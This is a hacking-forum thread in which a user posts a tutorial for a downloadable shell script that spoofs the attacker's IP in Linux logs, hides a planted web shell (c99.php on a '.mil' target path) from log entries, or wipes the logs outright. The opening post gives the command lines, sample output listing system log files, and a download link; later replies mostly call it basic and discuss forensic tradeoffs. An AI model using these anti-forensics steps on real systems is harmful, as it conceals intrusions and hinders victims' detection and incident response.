Author Topic: How to clear/edit the logs on Linux OS  (Read 2705 times)

0 Members and 1 Guest are viewing this topic.

Offline Ch1m4zz

  • /dev/null
  • *
  • Posts: 12
  • Cookies: -4
    • View Profile
How to clear/edit the logs on Linux OS
« on: December 29, 2013, 06:03:19 pm »

So to start with is that I had wrote this tutorial and then it got deleted by mistake :( and I am Swedish so my grammar is not perfect .. In this tut I will show you how to clear/edit the logs on a linux system. So let's start with that this is for educational purposes only. So the script I will be showing is not programmed by me I found it on http://www.garage4hacker.com/ Download can be found on the bottom of the thread. So this script can spoof your IP, hide web backdoors from the logs and totally fuck the logs.'

So to start we will spoof our IP with an other IP. To do this use this command.
Code: [Select]
./Wipe_Linux_Logs-v0.2.sh -d (Your IP) -s (IP to spoof) -u "User here"
And to hide the web backdoor from the logs you use this command.
Code: [Select]
./Wipe_Linux_Logs-v0.2.sh -w "/var/www/target.mil/uploads/c99.php
But remember that you can use these commands together like this
Code: [Select]
./Wipe_Linux_Logs-v0.2.sh -d (Your IP) -s (IP to spoof) -u "User here" -w "/var/www/target.mil/uploads/c99.php"


You can also just fuck the logs and delete them totally :)
Code: [Select]
./Wipe_Linux_Logs-v0.2.sh -f
And for last you can get some system info and check what logs is in the system and so on.
Code: [Select]
./Wipe_Linux_Logs-v0.2.sh -i
Here's an example of that!
Code: [Select]

root@D3st:~/Desktop# ./Wipe_Linux_Logs-v0.2.sh -i




>>>>>>>>>>>>> System Info <<<<<<<<<<<<


[*] Linux Kernel: Linux D3st 3.7-trunk-686-pae #1 SMP Debian 3.7.2-0+kali8 i686 GNU/Linux


[*] The various log files found on system:


[*] ASCII Log Files
/var/log/syslog
/var/log/messages
/var/log/auth.log


[*] Binary Log Files
/var/log/wtmp
/var/log/lastlog
/var/log/btmp
/var/run/utmp




>>>>>>>>>> Login User Info <<<<<<<<<<


[*] Logged in Users:
root     tty7         2013-12-28 11:15 (:0)
root     pts/0        2013-12-29 13:12 (:0.0)


[*] You are logged in as user 'root' and have 'root' access on this machine


[*] You are a member of groups: root


root@D3st:~/Desktop#
So that was about all I had to cover in this tut I hope you liked it and leave some feedback in the comments :) I really hope this haven't been posted before.
Here comes the download

http://www.2shared.com/file/7SHUG2wN/Wipe_Linux_Logs-v02.html
« Last Edit: December 29, 2013, 06:19:31 pm by Ch1m4zz »

Offline proxx

  • Avatarception
  • Global Moderator
  • Titan
  • *
  • Posts: 2803
  • Cookies: 256
  • ФФФ
    • View Profile
Re: How to clear/edit the logs on Linux OS
« Reply #1 on: December 29, 2013, 06:16:13 pm »
Can you write a tut on RAT's ?
Wtf where you thinking with that signature? - Phage.
This was another little experiment *evillaughter - Proxx.
Evilception... - Phage

Offline Ch1m4zz

  • /dev/null
  • *
  • Posts: 12
  • Cookies: -4
    • View Profile
Re: How to clear/edit the logs on Linux OS
« Reply #2 on: December 29, 2013, 06:20:34 pm »
Yes... But I'm not sure if you re sarcastic right now.. And I'm right now using linux as OS

Offline Phage

  • VIP
  • Overlord
  • *
  • Posts: 1280
  • Cookies: 120
    • View Profile
Re: How to clear/edit the logs on Linux OS
« Reply #3 on: December 29, 2013, 06:28:06 pm »
He is sarcastic, he's referring to this being quite.. How should I put it... Standard knowledge when you move into Linux. But keep learning new stuff, don't give up!
"Ruby devs do, in fact, get all the girls. No girl wants a python, but EVERY girl wants rubies" - connection

"It always takes longer than you expect, even when you take into account Hofstadter’s Law."

Offline Ch1m4zz

  • /dev/null
  • *
  • Posts: 12
  • Cookies: -4
    • View Profile
Re: How to clear/edit the logs on Linux OS
« Reply #4 on: December 29, 2013, 06:30:30 pm »
Well its now made for the newbies and not you guys that are pro.. But thanks for the feedback

Offline Axon

  • VIP
  • King
  • *
  • Posts: 2047
  • Cookies: 319
    • View Profile
Re: How to clear/edit the logs on Linux OS
« Reply #5 on: December 29, 2013, 06:49:42 pm »
I actually never got deeper into Linux OS, although I've been using it for 2 years now, so this is new for me. Anyway, I wonder why you got -11 cookies with only 7 posts?

Offline Ch1m4zz

  • /dev/null
  • *
  • Posts: 12
  • Cookies: -4
    • View Profile
Re: How to clear/edit the logs on Linux OS
« Reply #6 on: December 29, 2013, 09:08:51 pm »
I actually never got deeper into Linux OS, although I've been using it for 2 years now, so this is new for me. Anyway, I wonder why you got -11 cookies with only 7 posts?


Bad intro Then I made a new intro and I'm currently trying to get back and get active :)

Offline kenjoe41

  • Symphorophiliac Programmer
  • Administrator
  • Baron
  • *
  • Posts: 990
  • Cookies: 224
    • View Profile
Re: How to clear/edit the logs on Linux OS
« Reply #7 on: December 29, 2013, 09:16:11 pm »
Nice try n don't lose the spirit. This might be common knowledge but try more n more, next time you might land something new to the majority of us.
« Last Edit: January 02, 2014, 12:32:45 pm by kenjoe41 »
If you can't explain it to a 6 year old, you don't understand it yourself.
http://upload.alpha.evilzone.org/index.php?page=img&img=GwkGGneGR7Pl222zVGmNTjerkhkYNGtBuiYXkpyNv4ScOAWQu0-Y8[<NgGw/hsq]>EvbQrOrousk[/img]

Offline Kulverstukas

  • Administrator
  • Zeus
  • *
  • Posts: 6627
  • Cookies: 542
  • Fascist dictator
    • View Profile
    • My blog
Re: How to clear/edit the logs on Linux OS
« Reply #8 on: December 29, 2013, 09:20:52 pm »
Any honest contribution is appreciated.

About the shell script - I guess it works, but it would be a bad idea in itself to wget stuff from the web once you gained access to the server - logs everywhere.
However it's good that this script replaces the logs and not just deletes them the fuck out like most skiddies think is the way to go - hey no traces, amirite?

+cookie to you sir!

Offline Ch1m4zz

  • /dev/null
  • *
  • Posts: 12
  • Cookies: -4
    • View Profile
Re: How to clear/edit the logs on Linux OS
« Reply #9 on: December 30, 2013, 03:46:57 pm »
Any honest contribution is appreciated.

About the shell script - I guess it works, but it would be a bad idea in itself to wget stuff from the web once you gained access to the server - logs everywhere.
However it's good that this script replaces the logs and not just deletes them the fuck out like most skiddies think is the way to go - hey no traces, amirite?

+cookie to you sir!
Thanks :) But remeber I didn't code the script but I'm learning python and later I will relace my own scripts :)

Offline Illicit

  • /dev/null
  • *
  • Posts: 7
  • Cookies: 0
    • View Profile
Re: How to clear/edit the logs on Linux OS
« Reply #10 on: March 08, 2014, 07:37:47 am »
Im new so this is ,although not hard to find, rather useful. Thanks  :)
I am watching.

Offline Daemon

  • VIP
  • Baron
  • *
  • Posts: 845
  • Cookies: 153
  • A wise man fears a gentle mans anger
    • View Profile
Re: How to clear/edit the logs on Linux OS
« Reply #11 on: March 12, 2014, 02:55:22 am »
I appreciate the attempt to contribute, but instead of showing how to run a script to wipe logs, why not tell us where logs are located and how to wipe them by hand? Then we can write our own scripts and/or more thoroughly understand how this script does its job?

Sorry for all the negative feedback you've been receiving, and ill give this one a C+ for effort. But try harder next time, show us what your really capable of ;)

Edit*
Tell us what locations they are locayed in, commands to erase the contents or only part of the contents, maybe even replace them? what's the difference between how bash logs history and servers do? Stuff like that just to be more clear. I actually opened this up expecting to read about this sort of thing but was a bit disappointed. I eagerly await your next in-depth tutorial though ^_^
« Last Edit: March 12, 2014, 02:59:02 am by Daemon »
This lifestyle is strictly DIY or GTFO - lucid

Because sexploits are for h0edays - noncetonic


Xires burns the souls of HF skids as a power supply